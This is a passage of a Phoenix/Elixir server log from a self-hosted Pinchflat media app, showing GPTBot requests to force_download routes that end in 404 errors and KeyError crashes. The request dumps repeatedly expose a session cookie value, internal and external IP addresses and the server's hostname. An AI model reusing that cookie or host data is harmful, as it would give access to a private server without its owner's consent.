"x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/6107/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10432.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6107/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47904}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/6107", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, (truncated) 15:43:27.067 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:57.068 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:59.915 [info] GET /sources/3/media/6498/force_download 15:43:59.915 [debug] QUERY OK source="settings" db=0.1ms idle=1975.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:43:59.915 [debug] QUERY OK source="settings" db=0.0ms idle=1030.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:43:59.915 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:43:59.916 [error] #PID<0.10439.0> running PinchflatWeb.Endpoint (connection #PID<0.10438.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/media/6498/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6498/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10438.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6498/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 57542}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6498", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10439.0>, params: %{}, path_info: ["sources", "3", "media", "6498", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3/media/6498"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/media/6498/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVEOTr1Qs8fNYIAA7gB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10438.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6498/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 57542}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6498", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6498/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10438.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6498/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 57542}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6498", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, (truncated) 15:44:00.690 [info] {"source":"oban","duration":287,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:44:27.070 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:57.071 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.691 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:45:02.177 [info] GET /sources/2/media/6119/force_download 15:45:02.178 [debug] QUERY OK source="settings" db=0.0ms idle=1238.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:02.178 [debug] QUERY OK source="settings" db=0.0ms idle=1238.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:02.178 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:45:02.178 [error] #PID<0.10446.0> running PinchflatWeb.Endpoint (connection #PID<0.10445.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/media/6119/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6119/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10445.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6119/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 33232}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6119", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10446.0>, params: %{}, path_info: ["sources", "2", "media", "6119", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2/media/6119"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/media/6119/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVER7oW8WpAhRwAA7jB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10445.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6119/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 33232}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6119", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6119/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10445.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6119/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 33232}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6119", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, (truncated) 15:45:27.072 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:57.073 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:00.692 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:46:02.284 [info] GET /sources/3/media/6486/force_download 15:46:02.284 [debug] QUERY OK source="settings" db=0.1ms idle=1344.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:02.284 [debug] QUERY OK source="settings" db=0.0ms idle=1270.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:02.284 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:46:02.285 [error] #PID<0.10452.0> running PinchflatWeb.Endpoint (connection #PID<0.10451.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/media/6486/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6486/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10451.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6486/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 44784}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6486", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10452.0>, params: %{}, path_info: ["sources", "3", "media", "6486", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3/media/6486"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/media/6486/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVEVbi17q1I78UAA7mB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10451.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6486/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 44784}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6486", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6486/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10451.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6486/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 44784}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6486", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, (truncated) 15:46:27.074 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:57.075 [info] {"source":"oban","duration":214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:00.693 [info] {"source":"oban","duration":527,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:47:04.151 [info] GET /sources/3/media/6488/force_download 15:47:04.151 [debug] QUERY OK source="settings" db=0.0ms idle=1075.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:04.151 [debug] QUERY OK source="settings" db=0.0ms idle=211.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:04.151 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:47:04.151 [error] #PID<0.10459.0> running PinchflatWeb.Endpoint (connection #PID<0.10458.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/media/6488/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6488/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10458.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6488/force_download", host: 